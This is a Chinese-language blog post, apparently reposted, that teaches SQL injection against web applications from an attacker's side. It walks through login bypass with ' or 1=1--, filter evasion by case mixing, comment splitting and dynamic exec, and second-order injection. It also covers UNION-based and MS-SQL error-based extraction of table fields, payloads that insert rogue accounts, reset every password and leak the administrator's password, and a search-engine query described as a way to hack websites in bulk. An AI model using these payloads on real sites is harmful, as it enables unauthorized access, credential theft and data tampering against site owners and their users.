代码注入

通常大部分的网站你要得到更多的浏览权限,必须要经过登录进行身份验证,那么如何避开登录获取权限呢?

 要避开登录,那么就要了解它的登录机制。 许多基于表单的登录功能应用程序使用数据库保存用户证书,用户每次登陆通常执行一个简单的SQL 查询语句 例如: Select * from users where username=’test’ and password=’123’ 这个SQL语句会查询数据库users表每一行,从中找出用户名为test密码为123,用户的所有数据 要避开登录,我们就要破坏这个SQL语句的结构 如果知道有一个用户的名称为test 那么我们就可以在用户名输入框中输入:test’-- 应用程序将会执行一下应用程序: Select * from users where username=’test’--‘ and password=’’ --在数据库中是注释符号,相当于后面的语句被注释,应用程序只要检查用户名为test,就会输出用户的所有信息。 不过,我们能够这么做有一个前提:如果知道有一个用户名的情况下,但是通常我们是不知道,那么如何在不知道用户名的情况下获取用户的所有信息呢? 很多情况下,数据库管理者会手工创建一个管理员的账号,再去生成其他的用户账号。而且有一点也是很重要的是:如果查询返回几名用户的资料,许多应用程序只会处理第一名用户。 那么我们就可以做一下的事情了:在用户登录框中输入 ‘or 1=1-- 它的实际执行情况是这样的: Select * from users where username=’’or 1=1--‘ and password=’’ 那么应用程序将返回全部应用程序用户的资料 我们将以第一名用户身份登录,获取管理员的权限 上面我提到的只是最最简单的避开登录的方式,但是大多数,额,应该说很少的应用程序会这么傻×的这么执行。但是我提上面的最重要原因是引出SQL Injection漏洞,上面的用户登录就存在SQL Injection漏洞。 SQL是一种解释性语言,Web应用程序经常建立合并用户提交的SQL语句。我们可以利用SQL Injection漏洞来破坏原始语句的结构。

 如何知道它有没有这个漏洞? 我们可以尝试输入一个’符号,如果有异常,或者错误,那么同时提交两个’’,如果这个输入错误或者异常行为消失,那么它可能存在漏洞,进一步的验证它。 现在普遍使用的数据库是MySql 针对它 我们可以再一个易受攻击的应用程序注入:’ ‘test 上面我们针对的都是字符串数据的测试,有些时候应用程序会将数字数据以数字形式而不是字符串形式到数据库中, 假如有这么一个数据,原始数据为2 那么我们可以尝试替换这个数据为1+1 或者3-1的简单数学表达式,如果跟代替2的结果相同,那么就明显表示存在SQL Injection,我们就可以用更加复杂的SQL关键字和语法进行进一步与漏洞有关的证据:67-ASCII(‘A’),如果成功了就说明该应用程序并没有过滤’符号,而且存在漏洞,不过有些时候应用程序是会过滤’符号,这个就涉及到了安全过滤机制。

 如何避过安全过滤机制呢? 就拿上面的例子: 51-ASCII(1) 由于1字符在ASCII中值为49,那么我们就可以得到相同的结果 还有一些简单的过滤字符: &和=它们是用于连接名称和值,如果想在攻击中插入这些字符,就必须在对他们进行URL编码:%26、%3d 查询字符串不允许使用空格,那么我们就可以用+或者%20 +号被用于编码空格,如果要使用+,那么可以是用%2b 分号被用于分隔cookie字段,必须使用%3b将其编码

避开过滤有几个要点:

避免使用被阻止的字符: 如:注释符号被阻止,那么不用:’ or 1=1-- 可以使用: ’ or ‘a’=’a

避免使用简单的确认: Select SeLEcT selselectect %53%65%6c%65%63%74%20

 使用SQL注释: 如:select/*test*/username,password/*test*/from/*test*/users 甚至可以把注释发在关键字中: 如:select/*test*/username,password/*test*/fr/*test*/om/*test*/users 从而避开过滤

处理被阻止的字符串: Oracle:’te’||’st’ MS-SQL:’te’+’st’ MySQL:’te’ ‘st’

 使用动态执行: Exec(‘select * from users’) Exec(‘sel’+’ect * from ’+’users’) 也可以建立一个16进制的字符串,然后向exec函数提交,从而避开输入过滤

利用用缺陷的过滤: 这个需要尝试,不耐其烦的去验证 还有一种避开过滤的方法,那就是二阶SQL注入: Insert into users(username,password,role) values(‘test’’’,’123’,1) 当你输入单引号的时候,应用程序自动把单引号转换成两个单引号,开发者修复了这个单引号的漏洞。假设这个应用程序还有密码修改的功能。 我们可以很容易的发现,插入数据库中的用户名为:test’,那么搜索用户名的时候就会发生错误,字符串没有闭合。 那么只要修改密码的时候注入: ‘ or 1 in (select password from users where username=’admin’)-- 这样管理员的密码将会被泄露 SQL语句中增删改查,分别对应insert\delete\update\select,针对不同的SQL语句可以注入不同的注入方式

Select语句:通常注入点在于where子句,因为where通常在语句的最后是的攻击者可以使用注释符号将查询截断到输入的结束位置,而且不会让整个查询语句失效,不过有些特殊的是后面有order by语句

Insert语句:设法注入insert语句的时候,可能无法提前知道,需要提交多少个参数或者参数类型。不过有一个便利是:大多数的数据库会将一个整数转化为一个字符串 正常的将一个用户插入到数据库中可以这么写: Insert into users(username,password,ID,role) values(‘test’,’123’,10086,1); 可以提交: test’,1)-- test’,1,1)-- test’,1,1,1)-- 因为不知道users表中字段有多少个,所以必须得一个个尝试过来,最终我们可以得到一个用户名为test密码为1的账户,不过有些时候值1会被拒绝的,我们也可以换成其他数字,如:2000

Update语句:跟insert语句类似 Update users set password=’1234’ where user=’test’ and password=’123’ 可以提交: Admin’ or1=1-- 实际执行的语句为: Update users set password=’1234’ where user=’admin’ or 1=1 它会把每个用户的密码重置为1234

Delete语句:跟update语句一样,delete语句通常使用where告诉数据库删除那些数据 还有一个很有意思的是union操作符,熟悉数据库的朋友会知道,这个操作符可以将几个select语句的结果组合到一个独立的结果中 比如: Select name,type,price from goods where name=’bbb’; 利用union输入搜索项: bbb’ union select username,password,role from users-- 那么如果对应的类型匹配的话,就会输出users表中的所有用户名、密码、角色 不过这种情况只适合当你知道了users表中的相关的字段的名称 如果类型、数量不匹配的话就会报出相应的错误

那么怎么利用这个漏洞呢? 首先我们应该查名输出到界面上的栏数, ‘ union select NULL-- ‘union select NULL,NULL-- ‘union select NULL,NULL,NULL-- 这样可以查询到正确的栏数,或者也可以使用: ‘order by 1-- ‘order by 2-- ‘order by 3-- 这里的数字指的是按照第几个字段排序 确定了返回栏数,假如设为:2 ‘union select ‘a’,NULL-- ‘union select NULL,’a’-- 这样将看到有一行会输出a 不过这个方法在oracle数据库中是不行的,必须要加一个全局可访问表 这样就要求我们必须要识别数据库类型了 我们可以看看下面三种数据库是如何构造字符串的: Oracle:’te’||’st’ MS-SQL:’te’+’st’ MySQL:’te’ ’st’ Oracle攻击: 比如一个:正常的网页范围地址为: http://www.XXX.com/goodsDetail.asp?goodsid=12345 我们可以构造为: http://www.XXX.com/goodsDetail.asp?goodsid=12345%20UNION%20SELECT%20NULL%20from%20dual-- 然后用之前union方法一步步尝试

MS-SQL攻击: http://www.XXX.com/goodsDetail.asp?goodsid=12345 http://www.XXX.com/goodsDetail.asp?goodsid=12345%20union%20select%20null-- 在MS-SQL中,有一个非常有意思的东西,那就是ODBC的错误消息 假设:SQL查询语句为: Select * from users where username=’test’ and password=’123’; 最初查询的表是这样创建的: Create table users(id int,username varchar(100),password varchar(100),role int); 如果ODBC的错误消息显示在浏览器中,那么: ‘ having 1=1-- ODBC就会显示错误消息,其中会包含users表里面的第一个字段id 我们再次输入: ‘ group by users.id having 1=1-- ODBC就会显示错误消息,包含第二个字段username 如此循环,知道你输入: ‘ group by users.id,users.username,userspassword,users.role having 1=1-- 将不会返回任何的错误了,也就是你可以完全获取users表里面的所有的字段名称; 知道了所有的字段,那么我们好要知道它们对应的数据类型: ‘ union select sum(username) from users-- 这样,这个输入,会将查询结果和最初的查询结果组合在一起之前执行注入的查询,它就会显示错误消息,并提示,username为varchar类型 知道了数据类型,知道了字段,那么我们就可以插入自己想要的数据了 ‘ ; insert into users values(9999,’test’,’123’,1) 我们还可以根据已知的信息,猜测管理员是那个帐号:假设为admin ‘ or 1 in (select password from users where username=’admin’)-- 这样你就可以知道这个数据库的管理员用户名跟密码

 -----------------------------------------

其实还有有一种跟简单的方法: 使用谷歌语法: intext:eWebEditor/admin 这是批量黑网站的方法,也是非常没有技术含量的 当然类似的还有更多的

猜你喜欢

转载自schooltop.iteye.com/blog/2003977